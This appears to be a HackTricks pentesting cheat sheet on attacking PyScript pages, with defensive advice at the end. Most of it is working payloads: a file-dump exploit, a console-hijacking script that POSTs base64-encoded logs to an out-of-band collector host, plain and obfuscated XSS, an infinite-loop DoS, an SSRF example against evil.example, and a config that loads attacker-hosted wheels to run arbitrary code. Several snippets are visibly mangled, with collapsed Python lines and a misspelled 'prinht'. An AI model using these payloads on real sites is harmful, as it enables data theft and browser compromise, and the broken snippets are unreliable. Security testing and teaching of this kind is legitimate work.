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248 lines
7.8 KiB
Markdown
248 lines
7.8 KiB
Markdown
# Pyscript
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{{#include ../../banners/hacktricks-training.md}}
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## PyScript Pentesting Guide
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PyScript is a new framework developed for integrating Python into HTML so, it can be used alongside HTML. In this cheat sheet, you'll find how to use PyScript for your penetration testing purposes.
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### Dumping / Retrieving files from the Emscripten virtual memory filesystem:
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`CVE ID: CVE-2022-30286`\
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\
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Code:
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```html
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<py-script>
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with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
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= fin.read() print(out)
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</py-script>
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```
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Result:
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### [OOB Data Exfiltration of the Emscripten virtual memory filesystem (console monitoring)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)
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`CVE ID: CVE-2022-30286`\
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\
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Code:
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```html
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<py-script>
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x = "CyberGuy" if x == "CyberGuy": with
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open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read()
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print(contents) print('
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<script>
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console.pylog = console.log
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console.logs = []
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console.log = function () {
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console.logs.push(Array.from(arguments))
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console.pylog.apply(console, arguments)
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fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {
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method: "POST",
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headers: { "Content-Type": "text/plain;charset=utf-8" },
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body: JSON.stringify({ content: btoa(console.logs) }),
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})
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}
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</script>
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')
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</py-script>
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```
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Result:
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### Cross Site Scripting (Ordinary)
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Code:
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```python
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<py-script>
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print("<img src=x onerror='alert(document.domain)'>")
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</py-script>
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```
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Result:
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### Cross Site Scripting (Python Obfuscated)
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Code:
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```python
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<py-script>
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sur = "\u0027al";fur = "e";rt = "rt"
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p = "\x22x$$\x22\x29\u0027\x3E"
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s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
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e = "c\u003d";q = "x"
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y = "o";m = "ner";z = "ror\u003d"
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print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
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</py-script>
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```
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Result:
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### Cross Site Scripting (JavaScript Obfuscation)
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Code:
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```html
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<py-script>
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prinht(""
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<script>
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var _0x3675bf = _0x5cf5
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function _0x5cf5(_0xced4e9, _0x1ae724) {
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var _0x599cad = _0x599c()
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return (
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(_0x5cf5 = function (_0x5cf5d2, _0x6f919d) {
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_0x5cf5d2 = _0x5cf5d2 - 0x94
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var _0x14caa7 = _0x599cad[_0x5cf5d2]
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return _0x14caa7
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}),
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_0x5cf5(_0xced4e9, _0x1ae724)
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)
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}
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;(function (_0x5ad362, _0x98a567) {
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var _0x459bc5 = _0x5cf5,
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_0x454121 = _0x5ad362()
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while (!![]) {
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try {
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var _0x168170 =
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(-parseInt(_0x459bc5(0x9e)) / 0x1) *
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(parseInt(_0x459bc5(0x95)) / 0x2) +
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(parseInt(_0x459bc5(0x97)) / 0x3) *
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(-parseInt(_0x459bc5(0x9c)) / 0x4) +
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-parseInt(_0x459bc5(0x99)) / 0x5 +
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(-parseInt(_0x459bc5(0x9f)) / 0x6) *
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(parseInt(_0x459bc5(0x9d)) / 0x7) +
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(-parseInt(_0x459bc5(0x9b)) / 0x8) *
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(-parseInt(_0x459bc5(0x9a)) / 0x9) +
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-parseInt(_0x459bc5(0x94)) / 0xa +
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(parseInt(_0x459bc5(0x98)) / 0xb) *
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(parseInt(_0x459bc5(0x96)) / 0xc)
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if (_0x168170 === _0x98a567) break
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else _0x454121["push"](_0x454121["shift"]())
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} catch (_0x5baa73) {
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_0x454121["push"](_0x454121["shift"]())
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}
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}
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})(_0x599c, 0x28895),
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prompt(document[_0x3675bf(0xa0)])
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function _0x599c() {
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var _0x34a15f = [
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"15170376Sgmhnu",
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"589203pPKatg",
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"11BaafMZ",
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"445905MAsUXq",
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"432bhVZQo",
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"14792bfmdlY",
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"4FKyEje",
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"92890jvCozd",
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"36031bizdfX",
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"114QrRNWp",
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"domain",
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"3249220MUVofX",
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"18cpppdr",
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]
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_0x599c = function () {
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return _0x34a15f
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}
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return _0x599c()
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}
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</script>
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"")
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</py-script>
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```
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Result:
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### DoS attack (Infinity loop)
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Code:
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```html
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<py-script>
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while True:
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print(" ")
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</py-script>
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```
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Result:
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---
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## New vulnerabilities & techniques (2023-2025)
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### Server-Side Request Forgery via uncontrolled redirects (CVE-2025-50182)
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`urllib3 < 2.5.0` ignores the `redirect` and `retries` parameters when it is executed **inside the Pyodide runtime** that ships with PyScript. When an attacker can influence target URLs, they may force the Python code to follow cross-domain redirects even when the developer explicitly disabled them ‑ effectively bypassing anti-SSRF logic.
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```html
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<script type="py">
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import urllib3
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http = urllib3.PoolManager(retries=False, redirect=False) # supposed to block redirects
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r = http.request("GET", "https://evil.example/302") # will STILL follow the 302
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print(r.status, r.url)
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</script>
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```
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Patched in `urllib3 2.5.0` – upgrade the package in your PyScript image or pin a safe version in `packages = ["urllib3>=2.5.0"]`. See the official CVE entry for details.
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### Arbitrary package loading & supply-chain attacks
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Since PyScript allows arbitrary URLs in the `packages` list, a malicious actor who can modify or inject configuration can execute **fully arbitrary Python** in the victim’s browser:
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```html
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<py-config>
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packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"]
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</py-config>
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<script type="py">
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import payload # executes attacker-controlled code during installation
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</script>
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```
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*Only pure-Python wheels are required – no WebAssembly compilation step is needed.* Make sure configuration is not user-controlled and host trusted wheels on your own domain with HTTPS & SRI hashes.
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### Output sanitisation changes (2023+)
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* `print()` still injects raw HTML and is therefore XSS-prone (examples above).
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* The newer `display()` helper **escapes HTML by default** – raw markup must be wrapped in `pyscript.HTML()`.
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```python
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from pyscript import display, HTML
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display("<b>escaped</b>") # renders literally
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display(HTML("<b>not-escaped</b>")) # executes as HTML -> potential XSS if untrusted
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```
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This behaviour was introduced in 2023 and is documented in the official Built-ins guide. Rely on `display()` for untrusted input and avoid calling `print()` directly.
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---
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## Defensive Best Practices
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* **Keep packages up to date** – upgrade to `urllib3 >= 2.5.0` and regularly rebuild wheels that ship with the site.
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* **Restrict package sources** – only reference PyPI names or same-origin URLs, ideally protected with Sub-resource Integrity (SRI).
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* **Harden Content Security Policy** – disallow inline JavaScript (`script-src 'self' 'sha256-…'`) so that injected `<script>` blocks cannot execute.
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* **Disallow user-supplied `<py-script>` / `<script type="py">` tags** – sanitise HTML on the server before echoing it back to other users.
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* **Isolate workers** – if you do not need synchronous access to the DOM from workers, enable the `sync_main_only` flag to avoid the `SharedArrayBuffer` header requirements.
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## References
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* [NVD – CVE-2025-50182](https://nvd.nist.gov/vuln/detail/CVE-2025-50182)
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* [PyScript Built-ins documentation – `display` & `HTML`](https://docs.pyscript.net/2024.6.1/user-guide/builtins/)
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{{#include ../../banners/hacktricks-training.md}}
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